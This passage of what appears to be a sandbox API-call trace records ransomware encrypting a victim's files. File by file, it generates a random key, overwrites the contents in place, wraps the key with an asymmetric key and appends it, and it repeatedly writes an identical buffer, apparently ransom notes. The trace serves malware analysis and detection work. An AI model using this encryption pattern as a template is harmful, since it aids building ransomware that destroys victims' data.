lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0155.748] WriteFile (in: hFile=0x980, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0155.748] CloseHandle (hObject=0x980) returned 1 [0155.838] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0155.839] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0155.839] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDBres00002.jrs", dwFileAttributes=0x80) returned 1 [0155.848] ReadFile (in: hFile=0x980, lpBuffer=0x3129020, nNumberOfBytesToRead=0x200000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3129020*, lpNumberOfBytesRead=0x2e1f9bc*=0x200000, lpOverlapped=0x0) returned 1 [0155.914] SetFilePointer (in: hFile=0x980, lDistanceToMove=-2097152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.914] WriteFile (in: hFile=0x980, lpBuffer=0x333f020*, nNumberOfBytesToWrite=0x200000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x333f020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x200000, lpOverlapped=0x0) returned 1 [0155.973] SetFilePointer (in: hFile=0x980, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x200000 [0155.973] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0155.973] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0155.973] WriteFile (in: hFile=0x980, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0155.993] WriteFile (in: hFile=0x980, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0155.993] CloseHandle (hObject=0x980) returned 1 [0155.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4320 | out: pbBuffer=0x5c4320) returned 1 [0155.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0155.995] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDBres00001.jrs", dwFileAttributes=0x80) returned 1 [0156.003] ReadFile (in: hFile=0x980, lpBuffer=0x3120020, nNumberOfBytesToRead=0x200000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2e1f9bc*=0x200000, lpOverlapped=0x0) returned 1 [0156.069] SetFilePointer (in: hFile=0x980, lDistanceToMove=-2097152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.069] WriteFile (in: hFile=0x980, lpBuffer=0x3330020*, nNumberOfBytesToWrite=0x200000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3330020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x200000, lpOverlapped=0x0) returned 1 [0156.092] SetFilePointer (in: hFile=0x980, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x200000 [0156.092] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.092] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.093] WriteFile (in: hFile=0x980, lpBuffer=0x5c4320*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4320*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.155] WriteFile (in: hFile=0x980, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.155] CloseHandle (hObject=0x980) returned 1 [0156.157] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0156.157] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0156.157] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDB00005.log", dwFileAttributes=0x80) returned 1 [0156.165] ReadFile (in: hFile=0x980, lpBuffer=0x3120020, nNumberOfBytesToRead=0x200000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2e1f9bc*=0x200000, lpOverlapped=0x0) returned 1 [0156.240] SetFilePointer (in: hFile=0x980, lDistanceToMove=-2097152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.240] WriteFile (in: hFile=0x980, lpBuffer=0x333c020*, nNumberOfBytesToWrite=0x200000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x333c020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x200000, lpOverlapped=0x0) returned 1 [0156.263] SetFilePointer (in: hFile=0x980, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x200000 [0156.263] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.263] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.263] WriteFile (in: hFile=0x980, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.278] WriteFile (in: hFile=0x980, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.278] CloseHandle (hObject=0x980) returned 1 [0156.280] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4320 | out: pbBuffer=0x5c4320) returned 1 [0156.280] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0156.280] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDB.log", dwFileAttributes=0x80) returned 1 [0156.280] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.280] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0156.280] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDB.chk", dwFileAttributes=0x80) returned 1 [0156.281] ReadFile (in: hFile=0x980, lpBuffer=0x2f7ace0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f7ace0*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0156.283] SetFilePointer (in: hFile=0x980, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.283] WriteFile (in: hFile=0x980, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0156.283] SetFilePointer (in: hFile=0x980, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0156.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.284] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.284] WriteFile (in: hFile=0x980, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.284] WriteFile (in: hFile=0x980, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.284] CloseHandle (hObject=0x980) returned 1 [0156.286] WriteFile (in: hFile=0x984, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.287] CloseHandle (hObject=0x984) returned 1 [0156.288] WriteFile (in: hFile=0x988, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.289] CloseHandle (hObject=0x988) returned 1 [0156.303] WriteFile (in: hFile=0x98c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.304] CloseHandle (hObject=0x98c) returned 1 [0156.305] WriteFile (in: hFile=0x990, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.306] CloseHandle (hObject=0x990) returned 1 [0156.306] WriteFile (in: hFile=0x994, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.307] CloseHandle (hObject=0x994) returned 1 [0156.308] WriteFile (in: hFile=0x994, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.309] CloseHandle (hObject=0x994) returned 1 [0156.312] WriteFile (in: hFile=0x9a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.313] CloseHandle (hObject=0x9a0) returned 1 [0156.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0156.313] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", dwFileAttributes=0x80) returned 1 [0156.314] ReadFile (in: hFile=0x9a0, lpBuffer=0x614b40, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x614b40*, lpNumberOfBytesRead=0x2e1f9bc*=0xd8, lpOverlapped=0x0) returned 1 [0156.324] SetFilePointer (in: hFile=0x9a0, lDistanceToMove=-216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.324] WriteFile (in: hFile=0x9a0, lpBuffer=0x615240*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x615240*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd8, lpOverlapped=0x0) returned 1 [0156.324] SetFilePointer (in: hFile=0x9a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd8 [0156.324] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.324] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.325] WriteFile (in: hFile=0x9a0, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.325] WriteFile (in: hFile=0x9a0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.325] CloseHandle (hObject=0x9a0) returned 1 [0156.342] WriteFile (in: hFile=0x9a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.343] CloseHandle (hObject=0x9a4) returned 1 [0156.345] WriteFile (in: hFile=0x9a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.346] CloseHandle (hObject=0x9a8) returned 1 [0156.347] WriteFile (in: hFile=0x9a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.348] CloseHandle (hObject=0x9a8) returned 1 [0156.351] WriteFile (in: hFile=0x9b0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.353] CloseHandle (hObject=0x9b0) returned 1 [0156.353] WriteFile (in: hFile=0x9b0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.354] CloseHandle (hObject=0x9b0) returned 1 [0156.355] WriteFile (in: hFile=0x9b0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.356] CloseHandle (hObject=0x9b0) returned 1 [0156.356] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0156.356] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0156.356] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", dwFileAttributes=0x80) returned 1 [0156.357] ReadFile (in: hFile=0x9b0, lpBuffer=0x2f78ee0, nNumberOfBytesToRead=0x7a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f78ee0*, lpNumberOfBytesRead=0x2e1f9bc*=0x7a, lpOverlapped=0x0) returned 1 [0156.357] SetFilePointer (in: hFile=0x9b0, lDistanceToMove=-122, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.357] WriteFile (in: hFile=0x9b0, lpBuffer=0x2f78aa0*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f78aa0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7a, lpOverlapped=0x0) returned 1 [0156.358] SetFilePointer (in: hFile=0x9b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7a [0156.358] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.358] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.358] WriteFile (in: hFile=0x9b0, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.358] WriteFile (in: hFile=0x9b0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.358] CloseHandle (hObject=0x9b0) returned 1 [0156.360] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0156.360] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0156.360] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf", dwFileAttributes=0x80) returned 1 [0156.360] ReadFile (in: hFile=0x9b4, lpBuffer=0x56d660, nNumberOfBytesToRead=0x4c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56d660*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c, lpOverlapped=0x0) returned 1 [0156.361] SetFilePointer (in: hFile=0x9b4, lDistanceToMove=-76, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.361] WriteFile (in: hFile=0x9b4, lpBuffer=0x56d1e8*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56d1e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c, lpOverlapped=0x0) returned 1 [0156.361] SetFilePointer (in: hFile=0x9b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c [0156.362] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.362] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.362] WriteFile (in: hFile=0x9b4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.362] WriteFile (in: hFile=0x9b4, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.362] CloseHandle (hObject=0x9b4) returned 1 [0156.364] WriteFile (in: hFile=0x9b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.365] CloseHandle (hObject=0x9b8) returned 1 [0156.365] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.365] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.365] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\6pegi30GmfrfqiXg89d\\8-U_1DVrzf\\RTKFDQl3kI8hF4x6.odp", dwFileAttributes=0x80) returned 1 [0156.366] ReadFile (in: hFile=0x9bc, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xc71d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xc71d, lpOverlapped=0x0) returned 1 [0156.367] SetFilePointer (in: hFile=0x9bc, lDistanceToMove=-50973, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.367] WriteFile (in: hFile=0x9bc, lpBuffer=0x2eef738*, nNumberOfBytesToWrite=0xc71d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eef738*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc71d, lpOverlapped=0x0) returned 1 [0156.368] SetFilePointer (in: hFile=0x9bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc71d [0156.368] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.368] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.368] WriteFile (in: hFile=0x9bc, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.372] WriteFile (in: hFile=0x9bc, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.372] CloseHandle (hObject=0x9bc) returned 1 [0156.384] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.384] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.384] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\6pegi30GmfrfqiXg89d\\8-U_1DVrzf\\9hw4r.csv", dwFileAttributes=0x80) returned 1 [0156.385] ReadFile (in: hFile=0x9bc, lpBuffer=0x2fbc008, nNumberOfBytesToRead=0x6f29, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesRead=0x2e1f9bc*=0x6f29, lpOverlapped=0x0) returned 1 [0156.386] SetFilePointer (in: hFile=0x9bc, lDistanceToMove=-28457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.386] WriteFile (in: hFile=0x9bc, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x6f29, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6f29, lpOverlapped=0x0) returned 1 [0156.387] SetFilePointer (in: hFile=0x9bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6f29 [0156.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, 